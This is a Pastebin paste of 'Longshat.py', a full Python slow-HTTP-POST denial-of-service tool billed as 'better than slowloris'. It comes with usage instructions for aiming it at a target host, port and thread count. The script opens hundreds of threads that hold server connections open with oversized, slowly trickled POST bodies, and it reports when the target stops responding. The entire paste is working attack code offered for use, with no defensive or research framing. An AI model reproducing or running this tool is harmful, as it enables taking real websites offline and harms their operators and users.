Advertisement
Sumo

Longshat.py

Mar 31st, 2012
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.37 KB | None | 0 0
  1. Longshat.py (better than slowloris IMO)
  2. usage in bt5 "./longshat.py www.target.com port threads" ex "./longshat.py www.target.com 80 500"
  3.  
  4. copy/paste this into a new file and name it "longshat.py" and go to properties>permissions>allow executing file as program>close
  5.  
  6. #!/usr/bin/python
  7.  
  8. import socket
  9. import threading
  10. import time
  11. import sys
  12.  
  13. class http_post_dos(threading.Thread):
  14. target = ""
  15. port = 0
  16.  
  17. _socket = 0
  18.  
  19. _running = False
  20.  
  21. def __init__(self, target, port):
  22. self.target = target
  23. self.port = port
  24.  
  25. threading.Thread.__init__(self)
  26.  
  27. def stop(self):
  28. self._running = False
  29.  
  30. def run(self):
  31. try:
  32. self._running = True
  33. self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
  34. self._socket.connect((self.target, self.port))
  35. self._send_http_post()
  36. self._socket.close()
  37.  
  38. except socket.error as e:
  39. print e
  40.  
  41.  
  42. def _send_http_post(self, pause=10):
  43. self._socket.send("POST / HTTP/1.1\r\n"
  44. "Host: %s\r\n"
  45. "User-Agent: XPN HTTP DOS Tester\r\n"
  46. "Connection: keep-alive\r\n"
  47. "Keep-Alive: 900\r\n"
  48. "Content-Length: 100000000\r\n"
  49. "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.target))
  50.  
  51. i = pause
  52.  
  53. while self._running:
  54. if i == pause:
  55. self._socket.send("X")
  56. i = pause
  57.  
  58. i += 1
  59. time.sleep(1)
  60.  
  61. def check_http_server(target, port):
  62. try:
  63. _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
  64. _socket.settimeout(5)
  65.  
  66. _socket.connect((target, port))
  67.  
  68. _socket.send("GET / HTTP/1.1\r\n"
  69. "Host: %s\r\n"
  70. "User-Agent: XPN HTTP DOS Tester\r\n\r\n" % (target))
  71.  
  72. http_data = _socket.recv(1024)
  73.  
  74. if len(http_data) == 0:
  75. return True
  76. else:
  77. return False
  78.  
  79. except socket.timeout:
  80. return True
  81.  
  82. except socket.error as e:
  83. print "[!] Error when checking HTTP server [%s]" % (e)
  84.  
  85. def print_logo():
  86. print "Sumo says HI :D"
  87.  
  88.  
  89. def print_usage():
  90. print "Usage: %s TARGET_SERVER TARGET_PORT [MAX_THREADS]\n" % (sys.argv[0])
  91.  
  92. def stop_all_workers(workers):
  93. for worker in workers:
  94. worker.stop()
  95.  
  96.  
  97. if __name__ == "__main__":
  98.  
  99. workers = []
  100. active = True
  101. x = 0
  102. target = ""
  103. port = 80
  104.  
  105. print_logo()
  106.  
  107. try:
  108. target = sys.argv[1]
  109. port = int(sys.argv[2])
  110.  
  111. if len(sys.argv) == 4:
  112. maxthreads = int(sys.argv[3])
  113. else:
  114. maxthreads = 300
  115. except:
  116. print_usage()
  117. quit()
  118.  
  119.  
  120. print "Target [%s:%d]" % (target, port)
  121.  
  122. print "[!] Spawning %d HTTP blocker threads" % (maxthreads)
  123.  
  124. # spawn our threads
  125.  
  126. try:
  127.  
  128. while x < maxthreads:
  129. workers.append( http_post_dos(target, port) )
  130. workers[-1].start()
  131. x += 1
  132.  
  133. except Exception as e:
  134. print "[X] Error Spawning HTTP blocker threads [%s]" % (e)
  135. print "[X] If error is due to threads, try lowering the count"
  136. stop_all_workers(workers)
  137. quit()
  138.  
  139. print "[!] Spawned all HTTP blocker threads"
  140.  
  141. while active:
  142. try:
  143. if threading.active_count() == 1:
  144. print "[!] Finished"
  145. active = False
  146. else:
  147. if check_http_server(target, port):
  148. print "[/] Server is not responding to requests, DOS attack successful"
  149. else:
  150. print "[X] Server still responding to requests, try increasing thread count"
  151.  
  152. time.sleep(1)
  153.  
  154. except KeyboardInterrupt:
  155. print "[!] Sending Stop to All Threads"
  156. stop_all_workers(workers)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement